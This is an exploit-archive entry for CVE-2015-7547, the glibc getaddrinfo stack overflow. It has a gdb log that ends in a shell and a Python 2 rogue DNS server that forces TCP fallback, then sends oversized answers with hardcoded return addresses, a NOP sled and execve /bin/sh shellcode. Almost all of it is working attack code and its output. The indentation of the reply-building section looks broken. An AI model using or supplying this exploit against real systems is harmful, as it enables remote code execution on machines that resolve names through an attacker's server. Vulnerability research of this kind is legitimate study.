glibc - 'getaddrinfo' Remote Stack Buffer Overflow

Related Vulnerabilities: CVE-2015-7547  
Publish Date: 06 Sep 2016
Author: SpeeDr00t
                							

                /*

add by SpeeDr00t@Blackfalcon (jang kyoung chip)

This is a published vulnerability by google in the past.
Please refer to the link below.
  
Reference: 
- https://googleonlinesecurity.blogspot.kr/2016/02/cve-2015-7547-glibc-getaddrinfo-stack.html
- https://github.com/fjserna/CVE-2015-7547
- CVE-2015-7547: glibc getaddrinfo stack-based buffer overflow 

When Google announced about this code(vulnerability), 
it was missing information on shellcode.
So, I tried to completed the shellcode.
In the future, I hope to help your study.
  

(gdb) r
Starting program: /home/haker/client1 
Got object file from memory but can't read symbols: File truncated.
[UDP] Total Data len recv 36
[UDP] Total Data len recv 36
udp send 
sendto 1 
TCP Connected with 127.0.0.1:60259
[TCP] Total Data len recv 76
[TCP] Request1 len recv 36
data1 = ��foobargooglecom
query = foobargooglecom$(�foobargooglecom
[TCP] Request2 len recv 36
sendto 2 
data1_reply
data2_reply
[UDP] Total Data len recv 36
[UDP] Total Data len recv 36
udp send 
sendto 1 
TCP Connected with 127.0.0.1:60260
[TCP] Total Data len recv 76
[TCP] Request1 len recv 36
data1 = ��foobargooglecom
query = foobargooglecom$�7foobargooglecom
[TCP] Request2 len recv 36
sendto 2 
data1_reply
data2_reply
process 6415 is executing new program: /bin/dash
$ id
uid=1000(haker) gid=1000(haker) groups=1000(haker),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)
$ 

*/




import socket
import time
import struct
import threading

IP = '192.168.111.5' # Insert your ip for bind() here...
ANSWERS1 = 184

terminate = False
last_reply = None
reply_now = threading.Event()


def dw(x):
    return struct.pack('>H', x)

def dd(x):
    return struct.pack('>I', x)

def dl(x):
    return struct.pack('<Q', x)

def db(x):
    return chr(x)

def udp_thread():
    global terminate

    # Handle UDP requests
    sock_udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock_udp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock_udp.bind((IP, 53))

    reply_counter = 0
    counter = -1

    answers = []

    while not terminate:
        data, addr = sock_udp.recvfrom(1024)
        print '[UDP] Total Data len recv ' + str(len(data))
        id_udp = struct.unpack('>H', data[0:2])[0]
        query_udp = data[12:]

        # Send truncated flag... so it retries over TCP
        data = dw(id_udp)                          # id
        data += dw(0x8380)                     # flags with truncated set
        data += dw(1)                        # questions
        data += dw(0)                        # answers
        data += dw(0)                        # authoritative
        data += dw(0)                        # additional
        data += query_udp                    # question
        data += '\x00' * 2500                # Need a long DNS response to force malloc 

        answers.append((data, addr))

        if len(answers) != 2:
            continue

        counter += 1

        if counter % 4 == 2:
            answers = answers[::-1]


        print 'udp send '
        time.sleep(0.01)
        sock_udp.sendto(*answers.pop(0))

        print 'sendto 1 '
        reply_now.wait()
        sock_udp.sendto(*answers.pop(0))
        print 'sendto 2 '

    sock_udp.close()


def tcp_thread():
    global terminate
    counter = -1

    #Open TCP socket
    sock_tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock_tcp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock_tcp.bind((IP, 53))
    sock_tcp.listen(10)

    print 'a'
	
    while not terminate:
        conn, addr = sock_tcp.accept()
        counter += 1
        print 'TCP Connected with ' + addr[0] + ':' + str(addr[1])

        # Read entire packet
        data = conn.recv(1024)
        print '[TCP] Total Data len recv ' + str(len(data))

        reqlen1 = socket.ntohs(struct.unpack('H', data[0:2])[0])
        print '[TCP] Request1 len recv ' + str(reqlen1)
        data1 = data[2:2+reqlen1]

        print 'data1 = ' +data1

        id1 = struct.unpack('>H', data1[0:2])[0]
        query1 = data[12:]

        print 'query = ' + query1

        # Do we have an extra request?
        data2 = None
        if len(data) > 2+reqlen1:
            reqlen2 = socket.ntohs(struct.unpack('H', data[2+reqlen1:2+reqlen1+2])[0])
            print '[TCP] Request2 len recv ' + str(reqlen2)
            data2 = data[2+reqlen1+2:2+reqlen1+2+reqlen2]
            id2 = struct.unpack('>H', data2[0:2])[0]
            query2 = data2[12:]



    # Reply them on different packets
    data = ''
    data += dw(id1)                      # id
    data += dw(0x8180)                   # flags
    data += dw(1)                        # questions
    data += dw(ANSWERS1)                 # answers
    data += dw(0)                        # authoritative
    data += dw(0)                        # additional
    data += query1                       # question



    for i in range(ANSWERS1):
        answer = dw(0xc00c)  # name compressed
        answer += dw(1)      # type A
        answer += dw(1)      # class
        answer += dd(13)     # ttl
        answer += dw(4)      # data length
        answer += 'D' * 4    # data

        data += answer

    data1_reply = dw(len(data)) + data

    if data2:
        data = ''
        data += dw(id2)
        data += 'A' * (6)
        data += '\x08\xc5\xff\xff\xff\x7f\x00\x00'
        data += '\x90' * (44)
        data += '\x90' * (1955)
        data += '\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'
        data += '\x90' * (100)
        data += '\xc0\xc4\xff\xff\xff\x7f\x00\x00'
        data += 'F' * (8)
        data += '\xc0\xc4\xff\xff\xff\x7f\x00\x00'
        data += 'G' * (134)
        data2_reply = dw(len(data)) + data
    else:
        data2_reply = None

    reply_now.set()
    time.sleep(0.01)
    conn.sendall(data1_reply)
    print 'data1_reply'
    time.sleep(0.01)
    if data2:
        conn.sendall(data2_reply)
        print 'data2_reply'

    reply_now.clear()

    sock_tcp.shutdown(socket.SHUT_RDWR)
    sock_tcp.close()


if __name__ == "__main__":

    t = threading.Thread(target=udp_thread)
    t.daemon = True
    t.start()
    tcp_thread()
    terminate = True